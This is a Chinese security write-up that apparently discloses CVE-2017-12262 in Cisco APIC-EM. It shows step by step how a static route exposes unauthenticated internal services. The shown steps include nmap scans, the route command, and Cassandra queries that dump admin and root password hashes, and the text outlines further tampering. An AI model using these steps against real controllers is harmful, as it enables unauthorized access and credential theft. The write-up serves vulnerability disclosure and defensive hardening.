一、前言
应用策略基础设施控制器企业模块（Application Policy Infrastructure Controller Enterprise Module， APIC-EM）是思科针对企业网络设计的SDN（软件定义网络）控制器，根据思科的说法，APIC-EM利用了许多非常先进的前沿技术，可以解决五花八门的问题。
“（APIC-EM）提供了基于策略的自动化平台，可以简化并抽象网络相关信息，能够将业务意图转化为具体的网络控制流程。这个平台可以托管多个易于使用的SDN应用，这些应用提供了开放式REST（Representational State Transfer，表述性状态传递） API北向接口（即向上提供的接口），以推动网络自动化解决方案。该平台同样支持许多南向协议（即向下提供的协议），通过这些协议与客户已部署的网络设备进行通信，因此能够将SDN的优势拓展到全新网络或者已有一定基础的网络环境中。APIC-EM平台的目标是为下一代SDN应用提供支持，以大大降低运营成本，提高网络灵活性，以满足业务需求。”
二、技术背景
思科APIC-EM实现了一种PaaS（Platform as a Service，平台即服务）环境，其中使用了Grapevine作为Elastic Services平台，以支持控制器的基础架构及服务。这种解决方案由两种类型的系统组成，即Grapevine root（根）以及Grapevine client（客户）。Grapevine root作为应用程序运行在某台主机上，使用了修改版的Ubuntu Linux作为操作系统，而Grapevine client则位于LXC（Linux containers，Linux容器）中。root负责处理与服务有关的所有策略管理事务，如服务更新、root及Grapevine client的服务生命周期。Grapevine client运行在root系统之上，运行着平台支持的那些服务。
思科的APIC-EM需要配备两个网络才能正常工作。第一个为内部网，包含Grapevine root以及client，这些root及client之间相互连接，可以相互通信。这个网络为隔离网络，外部网络无法路由到或者访问到这个网络。另一方面，APIC-EM通过外部网络接口提供了控制器的Web前端（GUI）访问界面以及REST API接口。
三、环境搭建
首先介绍一下如何搭建实验环境。我们所使用的产品版本为APIC-EM-1.4.3.1009。我们使用独立（standalone）模式来部署APIC-EM虚拟设备，并参考思科的官方文档进行配置。
APIC-EM虚拟机中包含一个外部NIC（网卡），其IP地址为172.16.231.254/24，具体信息如下：
$ ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:39:ba:b7
inet addr:172.16.231.254 Bcast:172.16.231.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:486859 errors:0 dropped:0 overruns:0 frame:0
TX packets:479599 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:36431324 (36.4 MB) TX bytes:40919272 (40.9 MB)
grape-br0 Link encap:Ethernet HWaddr fe:24:34:a0:f7:1b
inet addr:169.254.0.1 Bcast:169.254.0.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:169165 errors:0 dropped:0 overruns:0 frame:0
TX packets:169964 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:10041555 (10.0 MB) TX bytes:12541655 (12.5 MB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:1396822 errors:0 dropped:0 overruns:0 frame:0
TX packets:1396822 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:6805835191 (6.8 GB) TX bytes:6805835191 (6.8 GB)
veth7D8YVY Link encap:Ethernet HWaddr fe:24:34:a0:f7:1b
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:84559 errors:0 dropped:0 overruns:0 frame:0
TX packets:85335 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:6204723 (6.2 MB) TX bytes:6285922 (6.2 MB)
vethP5HRD4 Link encap:Ethernet HWaddr fe:96:03:f1:2d:8c
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:84606 errors:0 dropped:0 overruns:0 frame:0
TX packets:85389 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:6205142 (6.2 MB) TX bytes:6288509 (6.2 MB)
(grapevine)
[Fri Jun 16 15:11:47 UTC] grapevine@172.16.231.254 (grapevine-root-1) ~
$
其中，eth0接口连接的是外部网络，而grape-br0属于内部的Grapevine网络区域，只有可信的LXC才能访问这个网段。
攻击者的系统位于外部LAN中，即172.16.231.0/24。我们快速扫描了APIC-EM外部接口的端口开放情况，得到如下结果：
munmap@oceania:~$ nmap -n -p1-65535 -sT 172.16.231.254
Starting Nmap 6.47 ( http://nmap.org ) at 2017-06-16 15:36 BST
Nmap scan report for 172.16.231.254
Host is up (0.0069s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp filtered domain
80/tcp open http
443/tcp open https
3000/tcp open ppp
4369/tcp open epmd
14141/tcp open bo2k
24007/tcp open unknown
49152/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 3.01 seconds
munmap@oceania:~$
如上所示，我们并没有发现特别有用的信息。80、443以及3000端口都是Web前端接口，需要身份认证才能访问。根据上述信息，我们可知4369端口对应的是EPMD（Erlang Port Mapper Daemon）服务，并且我们可以通过14141端口访问Grapevine开发者控制台，这个控制台同样需要身份认证。此外，24007以及49152端口均已被GlusterFS集群文件系统守护进程占用。
与此同时，有多个服务正在APIC-EM内部网络上运行，Grapevine root及client可以使用这些服务。内部网络范围已被硬编码限制为169.254.0.0/24。这些服务中有一些非常知名的服务，如Apache Cassandra、RabbitMQ、Supervisor以及Hazelcast。然而，外部LAN中的恶意主机无法与这些服务通信，根据RFC 5735的规定，169.254.0.0/16是保留网络，专用于链路本地（link-local）场景，也就是说数据包无法路由到这个网络。我们可以使用如下命令来确认这一点：
munmap@oceania:~$ route -n | grep ^169
169.254.0.0 0.0.0.0 255.255.0.0 U 1000 0 0 eth0
munmap@oceania:~$ ping -c 1 169.254.0.1
PING 169.254.0.1 (169.254.0.1) 56(84) bytes of data.
From 10.0.7.64 icmp_seq=1 Destination Host Unreachable
--- 169.254.0.1 ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
munmap@oceania:~$
这种情况下，我们通常会把中心放在Web前端界面中，寻找绕过身份验证的方法，以访问控制器上包含的任何敏感信息。
四、脱离束缚
首先，让我们“自欺欺人”一下，假装从来没听说过RFC 5735标准，也就是说，我们认为169.254.0.0/16是一个非常普通的IP地址范围。那么，我们有没有办法能够通过外部LAN与内部网中的服务交互？我们为什么不尝试一下为169.254.0.0/16添加静态路由，通过APIC-EM主机的外部接口来访问其内部网呢？
munmap@oceania:~$ sudo route add -net 169.254.0.0/24 gw 172.16.231.254
munmap@oceania:~$ ping -c 1 169.254.0.1
PING 169.254.0.1 (169.254.0.1) 56(84) bytes of data.
64 bytes from 169.254.0.1: icmp_seq=1 ttl=64 time=0.168 ms
--- 169.254.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.168/0.168/0.168/0.000 ms
munmap@oceania:~$
结果看起来非常好，貌似我们可以访问内部网络，即APIC-EM中的169.254.0.0/24网络。因此，攻击者可以借此访问内部网络中的主机及服务。这个问题的主要原因在于系统缺乏流量过滤机制，并且APIC-EM系统中默认启用了IP转发功能。
$ cat /proc/sys/net/ipv4/ip_forward
1
(grapevine)
[Fri Jun 16 15:12:00 UTC] grapevine@172.16.231.254 (grapevine-root-1) ~
$
现在，让我们再次做一次快速端口扫描，看情况有没有发生变化：
munmap@oceania:~$ nmap -n -p1-65535 -sT 169.254.0.1
Starting Nmap 6.47 ( http://nmap.org ) at 2017-06-16 15:59 BST
Nmap scan report for 169.254.0.1
Host is up (0.0079s latency).
Not shown: 65517 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp filtered domain
80/tcp open http
443/tcp open https
3000/tcp open ppp
4369/tcp open epmd
5671/tcp open unknown
5672/tcp open amqp
5701/tcp open unknown
7000/tcp open afs3-fileserver
9001/tcp open tor-orport
9042/tcp open unknown
9160/tcp open apani1
14140/tcp open unknown
14141/tcp open bo2k
24007/tcp open unknown
25672/tcp open unknown
49152/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 2.77 seconds
munmap@oceania:~$
这一次我们可以看到结果中多了9个服务，其中某些服务（如Apache Cassandra、RabbitMQ以及Supervisor）并不需要身份认证即可访问，原因在于系统认为只有可信的LXC才会访问这些服务，因此并没有做任何限制。
为了演示这个问题所能带来的影响，我们可以连接到Apache Cassandra，获取Web前端以及root账户的密码散列，如下所示：
munmap@oceania:~$ cqlsh 169.254.0.1 9042
Connected to Test Cluster at 169.254.0.1:9042.
[cqlsh 5.0.1 | Cassandra 2.1.5 | CQL spec 3.2.0 | Native protocol v3]
Use HELP for help.
cqlsh> SELECT username,authorization,password FROM grapevine.rbac_user;
username | authorization | password
----------+-----------------------+-------------------------------------------------------------------------------------------------------
admin | {'ALL': 'ROLE_ADMIN'} | 2Vzt4qfGmakw9UmOmZrAqm9A1Qao3h2PCKiWqZ8gFB3XseKuVM7NoA==$95rSYiRERSYrg4f+4eEbYNwndyxtxUU0qcvWTaD3Ns8=
(1 rows)
cqlsh> SELECT vm_password FROM grapevine.roots;
vm_password
------------------------------------------------------------------------------------------------------------
$6$V8nt06mrONhC7tez$fjIspZtRq5Pw/eYTmNWEdU0DdzRvh75VmuyNr.r1PenS5ohKVXfRheSsR5c0HC0L6Kb8aXFh3Bkz1Rsg3pHLz1
(1 rows)
cqlsh> exit
munmap@oceania:~$
从此时起，攻击者可以使用各种方法来干扰或者进一步控制APIC-EM系统。比如，我们可以通过Apache Cassandra的CQL shell将自己的用户添加到系统中，或者向RabbitMQ推送伪造的消息来改变SDN的整体配置等等。
五、攻击升级
在前面演示案例中，只有当攻击者与SDN控制器位于同一个Layer 2网络中时，才能执行类似攻击动作。如果想远程利用这个漏洞（比如经过一个或者多个网络中继节点），问题在于中间路由器并没有掌握链路本地网络的路由信息。
有一种方法能够克服这种攻击限制条件，虽然这种方法基本只在理论上可行，并且严重依赖于某些环境配置条件。中间路由器的配置情况千差万别，某些条件下，我们可以结合使用IP记录路由（record route）以及IP源路径路由（source routing）将数据包投递至169.254.0.0/24网段中，或者从该网段中发出。然而，请记住这仅仅是一个理论猜想，我们并没有进一步验证这个场景。
六、补丁情况
思科在APIC-EM 1.5版本中解决了这个问题，具体方法是过滤掉外部接口上与169.254.0.0/24有关的流量。这的确是非常快速而又简单的解决办法，然而，从更深层次的防御理念来看，我们认为在优秀的应用设计思路中，应该对运行在内部的服务强制采用身份认证机制。
该漏洞编号为CVE-2017-12262 (CVSS 8.8)。
七、总结
新的技术同样需要经过仔细的评估。虽然SDN提供了许多非常优秀的安全特性（比如细粒度切割（micro-segmentation）以及主动隔离被攻击影响的主机），然而其所涉及的技术栈（technology stack）非常新颖，与传统的技术栈相比，这些技术栈并没有经过多年实践的磨练及完善，因此容易出现一些纰漏。然而，组织机构不能忽视这些新技术所带来的安全风险。根据MWR的经验，我们认为想要在收获最大利益的同时最大限度地降低风险，关键在于使用良好的架构及安全保证。
如果架构设计得足够良好，可以阻止普通主机发现SDN控制器的管理接口，那么就不会出现这个问题。与正常情况一样，我们应该限制管理接口访问条件，只有最小范围的必要的主机才能访问这些接口。内部接口总是存在被暴露的安全风险，因此减少可能存在的这种攻击面依然值得尝试。
如果某些服务必须对外开放，那么组织机构不应当听信厂商的一面之词，认为这些服务足够安全。如果厂商无法拿出安全开发及威胁建模的具体凭证，也无法给出先前所做的安全测试案例，那么组织机构可以考虑自己来评估这些产品的安全（比如在本文中，我们可以看到各单位对RFC标准的理解并不相同）。
发表评论
您还未登录，请先登录。
登录